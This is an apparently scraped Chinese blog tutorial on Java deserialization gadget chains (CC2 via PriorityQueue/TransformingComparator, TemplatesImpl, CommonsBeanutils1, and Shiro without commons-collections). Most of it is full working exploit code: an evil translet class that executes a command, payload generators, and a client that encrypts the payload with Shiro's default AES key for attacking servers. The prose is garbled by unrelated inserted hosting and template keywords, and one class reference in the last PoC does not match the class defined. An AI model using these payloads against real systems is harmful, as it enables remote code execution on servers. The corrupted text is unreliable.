当前位置:首页 > 电脑教程

Java 利用PriorityQueue进行无InvokerTransformer反序列化

java_PriorityQueue

java.util.PriorityQueue 是利用列化一个优先队列(Queue),节点之间按照优先级大小排序成一棵树。行无其中PriorityQueue有自己的反序readObject反序列化入口 。

反序列化链为 :PriorityQueue#readObject->heapify()->siftDown()->siftDownUsingComparator()->comparator.compare()。利用列化当comparator为TransformingComparator对象时 ,行无能触发transform()方法 :

至于PriorityQueue的反序heapify() 、siftDown()、利用列化siftDownUsingComparator()的行无用处就是恢复排序 、节点下移和比较元素大小。反序而Comparator则是利用列化定义了两个对象用什么方式比较

CC2TransformingComparator

结合CC2的利用方式,云计算就是行无向TransformingComparator传入恶意Transformer 。

复制Comparator comparator = new TransformingComparator(transformerChain);1.

再用priorityQueue触发comparator:

复制PriorityQueue queue = new PriorityQueue(2,反序 comparator);queue.add(1);queue.add(2);1.2.3.

可以add任何非null对象  ,因为触发transform与队列参数无关(比较的利用列化是1,2,比较方式为comparator.compare())

POC: 复制package org.example;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;public class CC2TransformingComparator { public static void setFieldValue(Object obj,行无 String fieldName,

Object

value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {

new

ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null,

new

Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), }; Transformer transformerChain =

new

ChainedTransformer(fakeTransformers); Comparator comparator =

new

TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(2); setFieldValue(transformerChain, "iTransformers", transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(

new

ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.

测试结果:

TemplatesImpl无数组TransformingComparator

用TemplatesImpl字节码的方式也能进行利用 ,并且还能用于shiro的反序无数组链:

同样的向TransformingComparator传入恶意Transformer ,这次传的是InvokerTransformer ,而非transformerChain数组

复制Comparator comparator = new TransformingComparator(transformer);1.

触发comparator的方式还是香港云服务器实例化PriorityQueue对象

复制PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(obj);queue.add(obj);1.2.3.

为什么要传TemplatesImpl的对象obj呢?回想在没有ConstantTransformer初始化对象的情况下 ,shiro反序列化是依靠TiedMapEntry的构造函数把初始化对象传入key

TiedMapEntry的hashcode调用了getValue,getValue触发lazyMap.get()

但是在使用PriorityQueue类时,就无法用到shiro的入口HashMap,自然整条链都用不了。进入templatesImpl对象的newTransformer()入口的方式变为:

PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()

只需要compare()时对象为恶意InvokerTransformer

恶意字节码类:

复制package evil;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class EvilTemplatesImpl extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public EvilTemplatesImpl() throws Exception { super(); System.out.println("Hello TemplatesImpl"); Runtime.getRuntime().exec("calc.exe"); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.

POC:

复制package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class ShiroTransformingComparator { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } protected static byte[] getBytescode() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName()); return clazz.toBytecode(); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ getBytescode()}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString", null, null); Comparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(obj); queue.add(obj); setFieldValue(transformer, "iMethodName", "newTransformer"); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.

在4.1和3.2.2更新了FunctorUtils#checkUnsafeSerialization,3.2.2默认情况下会检测常见危险transformer(InstantiataTransformer 、建站模板InvokerTransformer、PrototypeFactory等)的readObject进行调用,4.1这几个类直接不再实现Serilalizable接口

CommonsBeanutil

javaBean的介绍 :https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680

从中可以了解到getter、setter 、属性的概念。

在上文,我们用PriorityQueue#compare()来触发TransformingComparator#transform() 。除了这种方式外 ,还有org.apache.commons.beanutils.BeanComparator.compare()

BeanComparator.compare()方法代码如下:

其中的getProperty方法可以调用任意javaBean的getter方法(形如​​getName​​)。

复制Object value1 = PropertyUtils.getProperty(o1,this.property);1.

该方法甚至可以递归查询:PropertyUtils.getProperty(o1,"o2.name");

现在反序列化链为:

BeanComparator#compara()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

getOutputProperties()符合getter的定义 ,免费模板所以property(属性名)的值为OutputProperties时 ,触发反序列化链 。PriorityQueue队列和property的值可以用反射的方式修改。

复制setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{ obj, obj});1.2.

POC :

复制package org.example;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "godown"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);//

stub data for replacement later

queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{ obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.

那么这条链跟上面那个只用到了priorityQueue的区别在哪?

好像只是反序列化的入口从newInstance变成了getOutputProperties?

正是因为不再需要newInstance作为入口 ,也就不再需要Invokertransformer进行调用 。也就是

PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()这段过程可以全部舍弃掉,转而换成:

PriorityQueue#compare()->BeanComparator#compare()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties()

因此3.2.2和4.1就能开心的拿着这个payload去打

不需要CC库的亿华云shiroCommonBeanutils

shiro本身依赖commons-beautils库 。所以上面的payload可以直接改造用来打shiro。

如果本地commons-beanutils和服务器shiro的CB版本不一样的话 ,serialVersionUID就会不同 ,也就不兼容  。也就是打的时候需要把本地commons-beanutils改成和服务器一样的版本

那服务端没有commons-collections库的时候呢?

在new BeanComparator时  ,BeanComparator构造函数使用了ComparableComparator

而这个类来自commons.collections ,所以要避开使用这个缺省参数 。也就是模板下载要找到一个类有comparator接口和serializable接口

CaseInsensitiveComparator不仅实现了上面两个接口 ,还在java.lang.String下 。而且用getOutputProperties的方式调用是不需要用到恶意comparator的 ,只需要恶意property

所以修改Beancomparator初始化时的参数为CaseInsensitiveComparator的对象就行了:

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

POC:

复制package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class ShiroCommonsBeanutils1 { public static void setFieldValue(Object obj, String fieldName,

Object

value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);//

stub data for replacement later

queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{ obj, obj});// ==================//

生成序列化字符串

ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); return barr.toByteArray(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.

转字节码打shiro poc :

复制package org.example;import javassist.ClassPool;import javassist.CtClass;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;public class Clientattack { public static void main(String []args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(org.example.ShiroCommonsBeanutils1.class.getName()); byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.

参考 :phith0n《java安全漫谈(16 、17)》

分享到:

滇ICP备2023006006号-31